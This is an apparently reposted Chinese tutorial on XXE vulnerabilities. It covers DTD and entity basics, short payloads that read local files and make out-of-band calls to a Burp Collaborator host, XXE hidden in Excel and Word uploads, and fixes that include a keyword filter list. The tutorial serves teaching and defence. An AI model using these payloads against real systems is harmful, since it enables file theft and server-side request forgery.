微信公众号搜"智元新知"关注
微信扫一扫可直接关注哦!

xxe漏洞专题

XML基础

xml作用:用于标记用户的数据与标记数据类型
定义以及基本结构

在这里插入图片描述

两种声明方法

**内部声明DTD** 
<!DOCTYPE 根元素 [元素声明]>

**引用外部DTD** 
<!DOCTYPE 根元素 SYstem "文件名"> 
#实例
#内部实体
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
#内部实调用方法
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>

#外部实体1-->即利用dtd进行引用的即是外部实体
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYstem "file:///c:/test.dtd" >]>#即利用该dtd属性进行引用
<creds>
    <user>&xxe;</user>
    <pass>mypass</pass>
</creds>
#外部实体2-->即进行外部引用
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYstem "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

利用命令

文件读取
其他利用姿势–>协议攻击,ssrf攻击,执行系统命令
典型利用方式与总结
深入了解xxe

<!DOCTYPE x [ <!ENTITY xxe SYstem "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>#内容更改为自己的burp collaborator地址
<x>&xxe;</x>

修复方法

1.)使用开发语言提供的禁用外部实体的方法

//PHP:
libxml_disable_entity_loader(true); 

//java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();      
dbf.setExpandEntityReferences(false);

//Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

2.)过滤用户提交的xml数据
过滤关键字:<!DOCTYPE和<!ENTITY,或者SYstem和PUBLIC
3.)不允许xml中具有自己定义的DTD(即文档类型定义)

实战利用

1.)利用excel进行xee攻击
原理:excel与所有post-Office 2007文件格式一样,现代Excel文件实际上只是XML文档的zip文件。这称为Office Open XML格式或OOXML。
excle构成

_rels:包关系,包含workbook.xml.rels,部分关系项
SharedStrings.xml:共享字符串表部分,用户输入内容
styles.xml:关于font、fill、border等相关样式定义
theme;主题,包含theme1.xml,表示工作表1的主题
workbook.xml:工作薄内容该书
worksheets:sheet相关样式,含有sheet1.xml,表明单元格与样式间的关系、内容等。

利用方法–>即给excel的文件添加xml属性内容,上传excel后进行监听即可
利用代码
典型利用burp中的burp collaborator进行盲测攻击
结合burp联合证明方法–>即直接在xml中添加的链接是burp的
直接进行监听的方法
burp collaborator的使用技巧–>典型盲测必备
确认漏洞代码
更改内容即可

在这里插入图片描述

利用docs进行攻击
利用方法与excel的同

工具XXExploiter进行探测攻击
xxexploiter安装与攻击

版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。